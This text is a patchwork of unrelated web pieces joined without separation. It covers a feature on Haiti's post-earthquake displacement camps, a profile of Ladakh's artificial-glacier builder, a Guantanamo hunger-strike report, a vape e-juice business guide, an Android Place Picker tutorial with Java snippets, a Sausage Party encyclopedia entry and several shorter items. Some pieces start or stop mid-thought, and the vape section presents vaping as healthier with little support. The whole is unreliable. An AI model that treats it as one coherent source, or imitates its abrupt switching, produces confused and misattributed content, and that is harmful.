Here at Terroir Toto, there are small, neat and brightly painted houses along gridded and dusty streets. The houses have shady front porches and windows with screens. They were constructed by Catholic Relief Services. At this camp, for example, 802 shelters house roughly 6,000 displaced people according to the camp’s Coordinator General, Simon Huberman, “The job was to get them out of the tents, and into stable homes,” says Huberman. “The total cost of these permanent shelters was $3.2 million dollars. Other donations got them water and food and sanitation. Then we had to begin to move forward.”
But, as the people in ‘Toto’s’ houses and along its streets say, all is not well.
In fact, far from it.
One local, Renand, says “there is fresh water, food. There is some safety in the camp, but no real work. We just have to look for work…and the toilets are terrible.”
There are 520,000 people who are still homeless. And more than 70 percent of the workforce is under- or unemployed. Most Haitians do not have running water, a toilet or access to a doctor. Cholera has claimed thousands of lives and remains a major threat to public health. Haiti remains the poorest country in the Western Hemisphere.
Genant Blot, the camp’s Secretary General, agrees with Renand that conditions are bad and that despair infects the displaced.
“They have shelter and food. But they are right, there are still problems that can be improved. And out here, away from the city, the people are just existing. It’s a voluntary prison,” says Blot.
Of course, these days, two years after the earthquake, even a ‘voluntary prison’ looks pretty good. Two years ago, just after the catastrophe, there were displaced people everywhere around Port-au-Prince. More than 60,000 of them went to one of the city’s wealthier neighborhoods and set up ramshackle camps on the country club golf course: the only one in the city.
Management of the camps was, in part, tasked to the US military’s Joint Task Force Haiti. Also fully devoting himself to the cause of improving life for the people in the camp was the actor Sean Penn, who was working tirelessly on the displaced people’s behalf. In fact, on September 21, 2010, at the Clinton Global Initiative meeting’s opening morning at the Sheraton in New York, while briefing the group on his work on the island, President Bill Clinton himself noted that, any time he turned around, “… there was Sean Penn.”
"Let me make this clear. I am 100 percent behind the decision on Corail. It was a question of giving people a place to go away from the worst camp in the country. It was an emergency situation, and the brass tacks are that it was a question of prevention." — Sean Penn
(Ron Haviv/VII)
But even with Sean Penn and the US Army, the job was still overwhelming. Rains and mud became a problem. Sanitation — meaning potential cholera —might soon be a threat. As might mosquito-borne viruses like malaria and dengue fever. After another heavy set of rain — more mud and standing water — Joint Taskforce Haiti commander Gen. Ken Keene, Penn, and several Haitian officials decided that, to ease the population pressure, 5,000 people should be moved to a location about nine miles north of Port-au-Prince with the assistance of the US Military Engineering Battalion. It was called Corail-Cesselesse. The Haitian government already owned and controlled the land. It was large, and might be less prone to flooding.
Facing only future trouble on the golf course, the movement of some of the displaced was really the only choice. They American Red Cross came through by offering hygiene kits and a $50 payment to anyone who moved. The engineering battalion began to go to work at “Corail.” They mobilized tents, and several days later, began to ferry out the refugees.
One again, Haiti’s luck was not good. The sun beat down on the gravel the Engineers laid beneath the tents to help with drainage. The heat radiated all night long. The white tents were not that well ventilated. Several tents blew away in a violent, pop-up rain storm. Still, even with the difficulties, Sean Penn believes it was the right thing to do. “Let me make this clear,” he says. “I am 100 percent behind the decision on Corail. It was not General Keen’s decision or mine. It was a question of giving people a place to go away from the worst camp in the country. It was an emergency situation, and the brass tacks are that it was a question of prevention. It was immediate. It was necessary. What to do with people later, longer term, in camps and things, that’s a different mission. We were dealing with prevention of disease. We asked who might be ready to move, and several thousand people came forward.”
So while the choice to begin sending people to Corail might have been problematic, it was the best option at the time. And that the time, there were no good options. “We had to move,” Penn says.
Today, two years later, much like at Toto, things at Corail are settled and calm. Though one man, Jean Amos, who is sitting and listening to a report from Radio France International on a hand-held shortwave on the main street, looks around and says that in this camp it’s the same story as everywhere in camps around Port au Prince these days.
“Look, on this main street,” he says, pointing, “this is where almost all the toilet buildings are. It is the Boulevard of Toilettes. And each is painted with an Oxfam International logo…facing the camp’s largest street. So Oxfam can get the credit, and maybe some donations.”
The early public schools at Corail, run by WorldVision, have been shuttered and the only school is a private one, College Vision Mondiale, which is open Monday to Friday.
At the camp’s dispensary, which is still open, I engage with an ambulance driver who doesn’t want to give his name. “Most of the institutions have left,” he says. “There is little work. I am lucky. But the people here now, this is their new home. Probably forever.”
The people at Corail, however, are doing what they can to create a new life. At the foot of the village is a cinder-block shell of a new grand marche, with outlying garden plots, already marked off and irrigated, that will eventually provide some of the vegetables for the store.
“It’s interesting to watch the new economies springing up around the camps.” Says David Gootnick, Director of International Affairs and Trade at the U.S. General Accounting Office. “At this point it’s all small stuff. It’s one-offs. Gardens. A day of construction labor here and there. People have shops in their houses, selling things. But there is an economy starting to grow there. And it is growing. It’s just going to take a while. Nothing happens overnight.”
But why has it taken so long. Two years?
“We don’t like to use the word 'slow' around here,” he says. “We like the word ‘delay’ more. Haiti is a hard place to work. The infrastructure needs help. And, frankly, the money allocated and being directed there may not have completely arrived yet because we don’t want to just throw it at a problem, but create new opportunities. We’ve identified three different corridors on the island for economic growth, and we’re being judicious. Still, what I can say is all of that allocated money is already in the pipeline; It’s making its way there.”
Still, according to Penn, the money, help and habitat is still taking to much time to arrive. When asked why, two years later, Penn is still working hard for the displaced in Haiti, you can feel his exasperation. “UN Habitat hasn’t done jack squat,” he says. “Let me be declarative here. I’m doing this because Jean-Christophe Adrian [of Cities Alliance and the United Nations Habitat team] isn’t. That’s the whole answer. No, it’s bigger than that. We’re down to the last 20,000 people still displaced. Down from 60,000. But, we still have a lot of fucking work to do.”
Penn has only good things to say about President Clinton’s work in Haiti: “He’s been great, a real asset,” he says. “So to have the people on the Haiti desk in the current administration: just great.”
ANOTHER SUNSET is coming. And back at the Corail camp, as I walk back down along the ‘Boulevard de Toilettes.’ A white, UN Security Landcruiser pulls up. Inside are two UN officers. They nice enough, but they’re technically not supposed to talk to reporters without permission.
“One question,” I ask. “How is the crime?”
“This place now?” he says. “It is very calm. Nothing really.”
Beyond policing efforts in the camps, there are also NGOs dedicated to reducing violence, particularly violence against women.
THE LOCAL AGENCY called Kofaviv (which is a Creole-French acronym for The Commission of Women Victims for Victims) is a friendly, welcoming place on the edge of the main city. They are an established organization, working against domestic violence and rape. As I sit and wait for one of the office staff, Sofanie Louis, a woman is sitting inside a pleasant-looking, glass-walled boardroom — its long wooden table down the middle — and she is talking about how she has been enduring domestic violence.
Finally, the interview is ended, and Sofanie Louis is free to talk.
“Kofaviv has 60 agents in the communities and camps,” she says. “And really, now that things have settled down, we don’t see nearly the violence and rape. Still, it exists, but maybe the statistics are half what they were.”
Still, she is not forthcoming with numbers and statistics.
Could we talk to someone who endured this experience post-earthquake?
“You’d have to bring back a female translator,” Sofanie Louis says. “And she’d have to do all the talking. This is very delicate. We have to maintain confidentiality and trust.” After leaning forward, she sits back in her chair. “We’ll call you if something comes up,” she says. She crosses her arms over her waist. There is a raw impatience and overall fatigue among so many people here who have been fighting so hard for so long to try to improve lives.
THESE hard-fought successes don’t mean violence and desperation aren’t easily visible around Port-au-Prince, though this was probably true before the earthquake, too. But the hunger and frustration and hand-to-mouth need at “food donation” sites around the city and beyond can’t help much, either.
One day, driving along in the neighborhood of Pawas (and in much the same way you find a higher incidence of white-paper coffee cups being held by people as you approach a corner Starbucks), photographer Ron Haviv notices a lot of people carrying white plastic sacks. On the side of the sacks is this:
TAIWAN CHRISTIAN FOOD
FOR THE POOR
FOR HAITI
On the bag is also a Taiwanese flag.
We round a corner, and there, at a Taiwanese organization called Chinque, a truck is off-loading the white bags. The flow of people is enormous. There is a lot of bagged food in the bed of that truck. There is such a need to keep order, police with shotguns are in evidence, and a man at the door brandishes a shotgun, too.
As we get out of the car, one of the police officers, the largest of the group, has grabbed a young, thin, man by the hair and, his weapon slung from his bulletproof vest, the policeman begins to conduct what the French call an “active interrogation.”
He slaps and punches the kid. When the young man admits what he’s done, the policeman tightly handcuffs him behind the back and pushes the young man to the ground. The kid hits his knees, then flops forward — face down — into the dusty street. The big officer sets a circular container of rice, itself set inside a square cardboard box, on the ground next to the young man. Evidence of some sort.
“What did he do?” I ask a smaller, friendlier policeman.
“They won’t let him in,” the policeman says, “so he waits and steals bags of food from the little girls on their way home. He has been doing this for months, and today we finally got him.”
Haviv and I were allowed inside. There, a manager is watching the gusts of people coming and going. He’s smiling “Is like this every day?” I ask. “Is it always like this?”
“We only deliver food on Wednesdays. And yes, always. It gets worse — more and more frantic — each Wednesday as the truck begins to empty.”
Chewang Norphel, a 79-year old retired civil engineer, has always been a solution provider. The story goes back to 1966 when he was posted in Zanskar, one of the most backward and remote areas in Ladakh, as Sub Divisional Officer. He, along with his team, had to construct school buildings, bridges, canals, roads etc. in that area. The task was very difficult to execute due to lack of skilled labour.
So he started doing the masonry work himself and trained a few villagers to help him. After some years, when he went back to that village, he found out that the villagers he had trained had become perfect mistry and were earning handsome salaries.
“It gave me a great pleasure. I was happy to see that a little support from my side had changed their lives,” Norphel says. This was just the beginning of the wonders he was destined to do.
Today, he is called the “Ice Man of India” and has created 10 artificial glaciers in Ladakh to help people deal with water scarcity in this cold, mountainous region.
Ladakh, a beautiful location with magnificent scenery around and exquisite beauty, takes everyone’s breath away. But, it is not the same with the people of Ladakh as the cold, dry and infertile land makes their lives harder than we could imagine.
Fortunately, the situation is slowly changing as Ladakh now has artificial glaciers to meet their needs and people have Norphel to thank for his amazing contribution.
Born in 1936, Norphel comes from a farming background and has served in the government service for more than 36 years before he had to take an early retirement due to his bad health. Being at home was not something Norphel enjoyed doing, and at the same time, the poor living conditions in Ladakh constantly troubled him. He thought of putting his engineering skills to a better use.
“Almost all the villages in Ladakh have roads, culverts, bridges, buildings or irrigation systems made by me,” says Norphel. But his biggest contribution came in the form of artificial glaciers.
Being a cold mountain desert, Ladakh sees a low average rainfall of 50 mm annually making people dependent upon glaciers as their primary water source.
80 percent of the population depends on farming, and their main source of irrigation water is the water that comes from the melting of snow and glaciers. Because of global warming, the glaciers are receding quickly and as a result, farmers face a lot of difficulty in getting adequate water. On the other hand, a lot of water gets wasted during the winter months as, due to the severe cold climate, farmers cannot grow any crops in that season.
“So I thought that if we could conserve this water in the form of ice, it can be of help to farmers to some extent during the irrigation period, particularly during the sowing season. The artificial glaciers, being quite close to the villages, melt earlier than the natural glaciers. Also, getting water during the sowing period is the most crucial concern of the farmers because the natural glaciers start melting in the month of June and sowing starts in April and May,” he says.
The idea first came to him when he saw water dripping from a tap which was kept open so as to avoid the water from freezing in winter and bursting the tap. The water gradually froze into the shape of an ice sheet as it came in touch with the ground and made a pool.
It struck him that the water that melts from natural glaciers due to high temperatures in summer goes to waste as it flows into the river. Instead, if this water can be stored in summer and autumn so that it can form a glacier in winter, then this artificial glacier would melt in spring and provide water to the villagers at the right time.
It was now time for action, and he put all his engineering knowledge, field experience and passion to work. He started his first experiment in Phutse village. He made canals to divert the water from the main stream to small catchment areas located four kms away from the village. He also created a shaded area to keep the water frozen in winters.
And, as these glaciers are located at a lower altitude of 13,000 feet as compared to the original glaciers which are located at 18,000 feet, they start melting earlier than the mainstream ones and provide water to the villagers when they need it the most in April.
“The main technique used to create artificial glaciers is to control the velocity of water as much as possible. The region is a hilly area and that is why the gradient of streams is very steep. As a result, in the main streams the water usually does not freeze. So what we have done is we have diverted the water to a shadow area by constructing a diversion channel with a mild grade. When it reaches the site, the water is released downward of the hill, distributing it in a small quantity so that the velocity can be minimized, and side by side we have constructed ice retaining walls in series to store the frozen water. This is the entire methodology of the artificial glacier,” he explains.
His first project cost him Rs.90,000. The width of the glacier ranges generally from 50 to 200 feet and the depth from 2 to 7 feet. This low cost model used only locally sourced material and help from the local community. Norphel has successfully built 10 glaciers so far. The smallest one is 500 feet long in Umla and the largest is 2 km long in Phutse.
His efforts have increased the agricultural production, thereby increasing the income of the locals. This has also reduced the migration to cities. His simple technique has brought water closer to the villages, and most importantly, made it available when the villagers need it the most.
In the future, he wants to continue making the glaciers and plans to build in other areas like Lahol, Spiti, Zangskar, etc. The only thing that comes as a challenge is lack of adequate funds.
[embedvideo id=”106751798″ website=”vimeo”]
“As you sow, so you reap. There is no doubt that if one has strong determination and dedication, there is nothing impossible in the world. That is what I believe,” Norphel says.
His simple idea has received acclaim across the globe and he has proved that if man is the one responsible for disturbing nature, he also has the capacity to save it. You just need the right intention to do so.
It’s that last assertion that’s been a frequent and ongoing sticking point for fans of the series, who’ve tried—now armed with years of hindsight—to work out what that actual “plan” might be. It’s a tricky business, especially since watching the show itself suggests that the robots’ grand strategy was little more than “blow up the humans, then chase them, then fall in love with them, and then have a bunch of weird, possibly mental sci-fi orgies.”
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Now, series creator Ronald D. Moore has finally ’fessed up, admitting that there never was a plan; it was just a phrase he and co-producer David Eick thought sounded cool. “For the next 14 years of my life people have asked me ‘What was the plan?’” Moore said, speaking at the show’s reunion panel at ATX last weekend. “There was no… plan.”
Moore was confirming what the show itself mostly came out and admitted at the end, in the form of a finale TV-movie titled, ironically, The Plan. Told from the Cylons’ point of view, it made it clear that, whatever grand moves their leaders were making—mostly through the form of Dean Stockwell’s villainous One—the Cylons were ultimately just as screwed up as their human creators. That’s something of a relief, honestly, even if it won’t be much comfort for people who’ve spent years thinking on the faux-puzzle Moore and Eick set up with that opening text.
[via io9]
Lawrence Avenue from Austin to the viaduct at the Kennedy Expressway
The Jefferson Park Chamber of Commerce is assessing the need for improvements to commercial areas in the neighborhood - mainly along Milwaukee and Lawrence. This survey is an important part of the process of exploring the idea of creating a Special Service Area (SSA) in Jefferson Park. SSAs are local tax districts that fund enhanced services and programs, which are paid for by an additional property tax levy within contiguous areas. The enhanced services and programs are in addition to those currently provided through or by the City of Chicago.Please let us know what needs you feel exist or what improvements you would like to see in the area. The study area under consideration for becoming an SSA is:
Take the survey now
Forty-five lawyers wrote to Hagel to warn of the “serious threat to the health and life of detainees” who are on hunger strike at the widely reviled jail set up in Cuba after the September 11, 2001 attacks.
The letter said Guantanamo’s commander had failed to respond to a request for information about the hunger strike sent on March 4.
The lawyers noted that as a Republican senator, Hagel had in 2005 warned that Guantanamo’s existence meant the United States was “losing the image war around the world.”
The lawyers said the majority of detainees in Guantanamo’s Camp 6 division, some 166 prisoners, had been on hunger strike since February 6, a fact corroborated by attorneys who had visited the camp.
US authorities at the prison have challenged the scale of the allegations stated by lawyers, insisting on Monday that only nine detainees were on hunger strike, of whom only five are being force-fed using tubes.
“We have also received alarming reports of detainees’ deteriorating health, including that men have lost over 20 and 30 pounds (nine and 13 kilos), and that at least two dozen men have lost consciousness due to low blood glucose levels, which have dropped to life-threatening levels,” the letter to Hagel said.
Lawyers for the prisoners say the hunger strike was triggered by widespread searches of detainees’ Korans that had been “perceived as desecration.”
Joint Task Force Guantanamo’s public affairs chief Robert Durand denied that any Korans had been mistreated.
“To be clear: there have been no incidents of desecration of the Koran by guards or translators, and nothing unusual happened during a routine search for contraband,” he told AFP this week.
Knowing the Potential
Today, electronic cigarettes have transformed into vaporizers, which are more well-known as vapes. And as the name suggests, vapes do not produce smoke through combustion but vaporization. It produces less harmful by-product chemicals, and several studies have even claimed that vaping is healthier than smoking conventional cigarettes.
Besides, vapes can produce a lot of smoke with varieties of flavors. There are even skilled performers who can play smoke tricks with the vape. They call themselves as cloud-chasers. As for the smoke’s taste, you can have everything from vanilla, coffee, banana, strawberry, coffee, to the most basic one, tobacco.
Finding Quality Ingredients
According to Lorenzo De Plano, a co-founder of Solace Tech, a company that specializes in e-cigarettes and vapes, the e-juice makes the most money in the vape industry. The essential ingredient is the nicotine salt derived from tobacco leaves. However, with many suppliers in the market, you need to make sure that you can get the pure salt.
The next components are the PG (Propylene Glycol) and VG (Vegetable Glycerin). We discuss them in one section because both have the same function, which is to create the vapor. They determine the consistency and intensity of the vape’s smoke.
PG gives vapers the sensation of smoking tobacco by dehydrating the smoke. Otherwise, the smoke will feel watery. VG, on the other hand, adds to the consistency of the smoke. The more VG you have in the e-juice, the thicker the smoke will be. However, you shall not mix both out of portions because too much of either VG or PG may lead to throat irritation.
The third component is the water-soluble flavor concentrates, with which you can express your creativity. You may mix cappuccino with chocolate, coke with bubble gum, pineapple and mango, etc. However, if you do not want to take a risk, you can sell those flavors without mixing them.
Marketing Your Goods
The vape hype owes significantly to the Internet. Boutique e-juices tend to sell well in the market because they can exploit people’s curiosity and sense of individuality. The way you market your products should also mimic the same pattern. Your store must look different from the others.
Ask away here: ask.fm/SentaiFilmworks
Is Sentai ever going to give their shows a Toonami airing?
A lot of different factors come into play for something like this to happen. Certainly it's not as easy as "giving' one of our shows a Toonami airing, there are tons of things involved in that process.
When will we hear about the rest of the Super Sonico dub cast?
The cast list will be released really soon...I think we're starting with Suzu or Mr. Kitamura. :)
Will there be a for collector's limited edition for Parasyte? And is Love Lab really the answer for life? ‎ Also, yes. Always. Parasyte would really be one of those shows that would necessitate a box set, wouldn't it? :)Also, yes. Always.
Any news about Black Bullet?
Asked around the office, so far it has a murky release date. Still have to hash out particulars to see where it can go on the schedule. :)
Any new license announcements coming up within the next few weeks?
Artist and community organizer Dave Meslin knows this well. He literally wrote the book on civic engagement in Toronto, and is widely known for his unique brand of creative activism.
Last week, he decided to take action against a problem in his own community of Regal Heights. But unlike 73-year-old handyman Adi Astl, who caught the city's ire by building an actual staircase in a public park, Meslin and his neighbours did something completely temporary (and thus pretty unimpeachable).
Got together with some neighbours and transformed a local intersection with chalk & leaves, revealing a surplus surface area of 2,000 square feet which could be re-designed as a parkette, new sidewalks, and much shorter/safer crossings. 🌳🚶🏽 More: https://t.co/SNYkMMo0Ui pic.twitter.com/psv0MRTZXi — dave meslin (@meslin) November 29, 2017
Using only sidewalk chalk and fallen leaves, Meslin and his neighbours temporarily "fixed" a dangerous intersection near Regal Road and Springmount, taking special care to maintain all existing road widths at a city-approved 28 feet.
"We revealed a surplus surface area of 2,000 square feet which could be transformed into a parkette, new sidewalks, and much shorter/safer crossings," wrote Meslin in a Facebook post about the project.
That post, uploaded yesterday, is spreading like wildfire around the city right now as fans of the project praise the group of neighbours for their ingenuity and "wonderful use of tactical urbanism," among other things.
A leafy neckdown! Love it! In #BurlON, residents push leaves to the curb and city slurps them up. For those couple weeks, leaves narrow streets, people drive slower... It's fantastic. — James Schofield (@schofieldjl) November 30, 2017
Will city workers sweep away the leaf-and-chalk crosswalk as word of its existence spreads? Maybe.
That said, it could call enough attention to the dangerous intersection for Toronto to fix it permanently. It worked for Astl, and the leaves do seem to be alleviating traffic woes in the neighbourhood.
Hey Peter! I was printing some new (guerilla!) street signage for my neighbourhood. 6pm on a Saturday, no Kinko's and all Staples were closed. What kind of city if this?! 😥 pic.twitter.com/DaFX4TBpiz — dave meslin (@meslin) November 20, 2017
"Saw this walking our dog the other night and yes - actually saw cars stopping!!!" wrote one woman on Twitter. "It is a strange corner."
In a separate reply to someone else on Twitter, Meslin said similarly that, while the intersection actually has three stop signs, no one knew where to stop before the leaves and chalk were in place.
Aside from this, you’ll also need to register for an API key in order to use the location play services, which can be done by following this guide. Once done, you need to add the API key and play services version declaration to your manifest as below:
Note : Incase you aren’t aware of the format used for this statement, you only need to declare the dependancy of the play service that you require. Read here for more info .
As you’re still reading this, I presume that you’re wanting try out these components for yourself. So before you get your java hat on, you need to start by adding the play-services-location dependancy to your build.gradle file.
But why bother using this component?
Development time is greatly reduced - The component comes out-of-the-box, meaning that all features (map, places, lifecycle, network requests etc) are all handled completely by the widget. Compared to how this would be achieved in a bespoke approach, the development time reduces greatly.
- The component comes out-of-the-box, meaning that all features (map, places, lifecycle, network requests etc) are all handled completely by the widget. Compared to how this would be achieved in a bespoke approach, the development time reduces greatly. Consistent user experience - Not only is this component used within Google apps, but third parties (like you!) will also hopefully be making use of this component. This means that your users are likely to be already familiar with how to operate the widget, reducing any new behaviours to learn when using your application.
Operational flow
So now we know exactly what it is we’re dealing with, it looks like we’re all ready to go. From launching to closing the Place Picker, there are several operations which take place.
The Place Picker is opened using startActivityForResult(), this is so that we can catch the selected place when our activity is returned to.
The next step is deciding the location to be used for the map. If a location is provided during the setup of the picker then this is used, otherwise by default the picker will use the devices current location.
The user then uses either the map or the nearby places list to make a selection, or closes the place picker without making a selection.
Once a selection is made, the place picker is finished and the result (the selected place) is returned to our activity.
The operational flow of the Place Picker makes it super simple to implement
Implementation
So to begin with we need to create a new builder instance using the IntentBuilder from the Place Picker class.
PlacePicker.IntentBuilder builder = new PlacePicker.IntentBuilder();
Using this builder, we can set the initial latitude-longitude bounds to be used by the place picker instance. As previously mentioned, if this is not set then by default our place picker will use the devices current location as the LatLngBounds.
builder.setLatLngBounds(new LatLngBounds(...));
Once the above is done we call launch the picker by using startActivityForResult(), passing our builder instance and request code as parameters. As previously mentioned, the selected Place from the Place Picker is returned to our activity within the onActivityResult callback, where we use the PLACE_PICKER_REQUEST request code to filter this result out.
startActivityForResult(builder.build(this), PLACE_PICKER_REQUEST);
When this startActivityForResult method is called, the place picker widget will open in a new activity. This is where the user will have the choice of either using their current location or selecting a place from the provided suggestions. Once the place picker is closed, our onActivityResult callback will be called:
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if (requestCode == PLACE_PICKER_REQUEST) {
if (resultCode == RESULT_OK) {
Place selectedPlace = PlacePicker.getPlace(data, this);
// Do something with the place
As shown above, we retrieve our selected Place when the activity is returned to. We retrieve the selected Place like so:
Place selectedPlace = PlacePicker.getPlace(data, this);
At this point, if the user uses the back button to leave the picker without selecting a place then there will be no result returned.
Note: You’ll need to grant the ACCESS_FINE_LOCATION permission in order to use the Place Picker widget.
Theming
In order to remain consistant with the theme of your application, by default the Place Picker widget will use the following colors found in your application theme:
colorPrimary - Used as the colour for the text and back arrow found in the action bar
- Used as the colour for the text and back arrow found in the action bar colorPrimaryDark - Used for the background colour of the action bar
Because of this, please ensure that you’re setting these theme attributes.
Beacon signals
As of play services 7.8, the place picker widget will now also use signals from nearby beacons to determine the current location of the device. This works by using the PlaceId of the detected beacon(s) in order to combine it with other signals that are available to the device (network, wifi etc). This is then used to rank the suggestions which are displayed in the ‘Nearby Places’ drawer-list within the Place Picker component.
Place Autocomplete
Place Autocomplete is a new component that can be used to return a list of nearby place suggestions using a provided search query, where results are biased (but not restricted to) the current location of the device. This previously involved calling the places API directly, so now the same functionality can be achieved by using the GoogleApiClient wrapper to call the Places API for you.
To begin with, we’re required to create a new GoogleApiClient instance. We use the GoogleApiClient builder to create this, where we also are required to state that we wish to use the Places API:
mGoogleApiClient = new GoogleApiClient.Builder(this)
.enableAutoManage(this, 0, this)
.addApi(Places.GEO_DATA_API)
.build();
Both the search query and our devices current location are used to make a request to the Auto Complete API using this instance.
Because RxJava is a part of my workflow now, I decided to implement this using observables. I suggest you check out the complete class to see all of the code, but the general flow of operations is as follows:
We begin by using the Places API to retrieve a list of Autocomplete Predictions based on the provided search query and latlng bounds.
PendingResult<AutocompletePredictionBuffer> results =
Places.GeoDataApi.getAutocompletePredictions(
mGoogleApiClient, query, bounds, null);
Note: Providing a LatLngBounds instance does not restrict results to these bounds. Results are only biased to the provided bounds, meaning that places nearby will be prioritised in the results.
A PendingResult is a method used to retrieve data from a Google Play Services API call. We do this by using the await() method to give our PendingResult a specified time limit to return data to us.
AutocompletePredictionBuffer autocompletePredictions =
results.await(60, TimeUnit.SECONDS);
Once we’ve waited for the result, we can then check our DataBuffer status to see if the request was a success:
final Status status = autocompletePredictions.getStatus();
if (!status.isSuccess()) {
autocompletePredictions.release();
subscriber.onError(null);
} else {
for (AutocompletePrediction place : autocompletePredictions) {
subscriber.onNext(
new AutocompletePlace(
place.getPlaceId(),
place.getDescription()
autocompletePredictions.release();
subscriber.onCompleted();
If successful, then we are returned a set of AutocompletePrediction objects, which in theory is just a minimal Place object. Alone this isn’t really enough for us to display useful information to the user, so we use the placeId to retrieve the full Place object from the API. This is carried out by chaining the request onto our observable flow, where we retrieve the place like so:
final PendingResult<PlaceBuffer> placeResult =
Places.GeoDataApi.getPlaceById(mGoogleApiClient, id);
placeResult.setResultCallback(new ResultCallback<PlaceBuffer>() {
@Override
public void onResult(PlaceBuffer places) {
if (!places.getStatus().isSuccess()) {
places.release();
subscriber.onError(new Throwable(...));
} else {
subscriber.onNext(
PointOfInterest.fromPlace(places.get(0)));
places.close();
subscriber.onCompleted();
Note: Be sure to always call release on the PlaceBuffer instance.
These Place results are then returned to our subscription in the activity and displayed in the search results recyclerview. This then works in a similar way to the Place Picker sample, when an autocomplete prediction is selected from the list it is returned to our MainActivity and displayed in the list of saved Places.
Conclusion
I’m super excited to use these components in future projects, they’re super easy to setup and flexible enough to fit into my current workflow. I hope from this article you can see for yourself just how easy it is to implement these services into your application(s).
Whilst I can still see the standard MapView being used in plenty of situations (mainly for it’s greater functionality and customisation), the Place Picker will come in handy for situations where you simply don’t require any extended features. The same applies to the Autocomplete component, again you are able to make a direct API call yourself to retrieve autocomplete suggestions (allowing finer tuning of results, as seen here). But using the GoogleApiClient as a wrapper again is enough when you don’t require the extensibility provided by the direct API calls. Saying this, I imagine the components from Play Services will be enough for most situations needed these features.
I’d love to hear your thoughts on these services, if you’ve got any comments and/or suggestions then feel free to leave a response or drop me a tweet!
If you enjoyed this article then please hit the recommend button!
It is the first American fully computer-animated film to be rated R by the MPAA and the second one overall.[10][11][12] The film's rough cut premiered on March 14, 2016, at South by Southwest and the film was theatrically released in the United States and Canada on August 12, 2016, by Columbia Pictures.[13]
The film received positive reviews from critics, with many particularly praising the humor, animation design, voice acting, screenplay and direction. It also became a box office success, grossing more than $140 million and topping South Park: Bigger, Longer & Uncut (1999) as the highest grossing R-rated animated film of all time.
Plot [ edit ]
Unbeknownst to humans, a supermarket called Shopwell's is filled with anthropomorphic grocery items that believe that the human shoppers are gods, who take groceries they have purchased to a utopia known as the Great Beyond. Among the groceries in the store is a sausage named Frank, who dreams of living in the Great Beyond with his hot dog bun girlfriend Brenda and of finally consummating their relationship.
Meanwhile, Frank's two best friends, Carl and Barry, are horrified as they witness the brutal murder of other purchased foods being cooked and devoured by Toh. Carl is sliced in half, but Barry escapes the house. After getting lost, he encounters a human drug addict, who injects himself with bath salts and becomes able to communicate with his groceries. However, the bath salts soon wear off and the addict prepares to cook Barry. While attempting to put Barry in a pot of boiling water, the addict is accidentally burned and decapitated after Barry yanks on one of the addict's shoelaces, making him slip and causing an axe to break loose and fall on him.
After Frank separates from his friends, who disapprove of his skepticism of the Great Beyond, he discovers a cookbook behind the freezer section and reveals its contents to the rest of Shopwell's groceries. Initially panicking, the groceries refuse to listen and choose not to believe Frank out of fear of losing their sense of purpose. Barry and the other groceries from the addict's home return to the store with his severed head, proving that the humans are not gods, but are mortal. Frank, Barry and the others drug the human shoppers and employees with toothpicks laced with bath salts, whereupon an epic battle begins between the humans and the groceries. Several humans are gruesomely defeated and killed in the ensuing fight while Douche takes control of Darren, the store manager. He captures and confronts Frank by declaring himself a god before biting his torso. However, Barry and the other foods catch Douche and Darren in an improvised garbage bin filled with explosives, where the two are both launched out of Shopwell's and killed in a massive explosion. Afterwards, the groceries celebrate their victory with a massive store-wide orgy.
Sometime later, the gang meet Firewater and Gum, a wad of chewing gum resembling Stephen Hawking. They have had a psychedelic experience and discovered that their world is not real, and they are merely cartoons voiced by famous actors in another dimension. Gum has constructed a portal to this dimension, and the groceries decide to travel there to meet their creators.
Voice cast [ edit ]
Production [ edit ]
Rogen has stated that he worked for eight years to get the film made; however, the content worried most film studios and they did not pick it up.[19] Noting that the film came from "an innocent place", Rogen stated "'What would it be like if our food had feelings?' We very quickly realized that it would be fucked up."[20] Goldberg revealed the project to Indiewire in July 2010, stating it was a "top secret super project". Initially, Indiewire was skeptical that the project was real and not a hoax on Goldberg's part, but after vetting, it did confirm that it was in the works.[14] In November 2010, Hill independently confirmed to MTV News that he was working on an R-rated 3D animated film.[21]
The film was formally announced in September 2013 as a partnership between Sony Pictures Entertainment, Annapurna Pictures and Point Grey Pictures.[22] On May 29, 2014, it was announced that the film would be released on June 3, 2016,[23] but in early 2016, the release date was revised to August 12, 2016. In January 2014, Rogen, Hill, James Franco and Kristen Wiig were announced as the leads in the film. The other cast includes Edward Norton, Michael Cera, David Krumholtz and Nick Kroll.[16] On April 9, 2014, Salma Hayek was set to lend her voice to the film as Teresa the Taco.[18] It was also announced that Paul Rudd, Danny McBride and Anders Holm would voice characters in the film.[17]
The film received an R rating for strong crude sexual content, pervasive language and drug use. However, when Rogen first submitted the film to the MPAA, they assigned it with an NC-17 rating due to the visibility of pubic hair on Lavash's scrotum during the food orgy scene. In order for the film to grant an R rating, the pubic hair was removed.[24][25][26][27]
Music [ edit ]
Soundtrack [ edit ]
The film's score was composed by Alan Menken and Christopher Lennertz. The soundtrack was released on August 5, 2016, by Madison Gate Records and Sony Music Masterworks.
Track listing [ edit ]
All music composed by Alan Menken and Christopher Lennertz, except as noted.
Release [ edit ]
Premiere and theatrical release [ edit ]
A rough cut of the film was shown at the South by Southwest Film Festival on March 14, 2016.[13] The final cut of the film screened at Just for Laughs on July 30, 2016.[28] The film was theatrically released in the United States and Canada on August 12, 2016.[29] The film was released in the United Kingdom on September 2, 2016.[30]
Home media [ edit ]
Sausage Party was released by Sony Pictures Home Entertainment on Blu-ray, DVD and digital download on November 8, 2016.[31]
Reception [ edit ]
Box office [ edit ]
Sausage Party grossed $97.7 million in North America and $42.8 million in other territories for a worldwide total of $140.4 million, against a budget of $19 million.[8] The film is the most commercially successful R-rated animated film of all time, replacing South Park: Bigger, Longer & Uncut (which held the record for 17 years),[32] and made a net profit of $47.06 million, when factoring together all expenses and revenues.[33]
In the United States and Canada, Sausage Party was released on August 12, 2016, alongside Pete's Dragon and Florence Foster Jenkins, and was initially projected to gross $15–20 million from 2,805 theaters in its opening weekend.[6] However, after grossing $3.3 million from Thursday night previews (more than the $1.7 million made by Rogen's Neighbors 2: Sorority Rising in May) and $13.5 million on its first day, weekend projections were increased to $30–35 million. The film ended up grossing $33.6 million in its opening weekend, finishing second at the box office, behind Suicide Squad.[34]
Outside North America, the biggest markets are the United Kingdom, Australia, Spain, Germany, Russia and Israel, where the film grossed $10.2 million, $6.8 million, $4.1 million, $3.5 million $2.6 million and $2 million respectively.[35]
Critical response [ edit ]
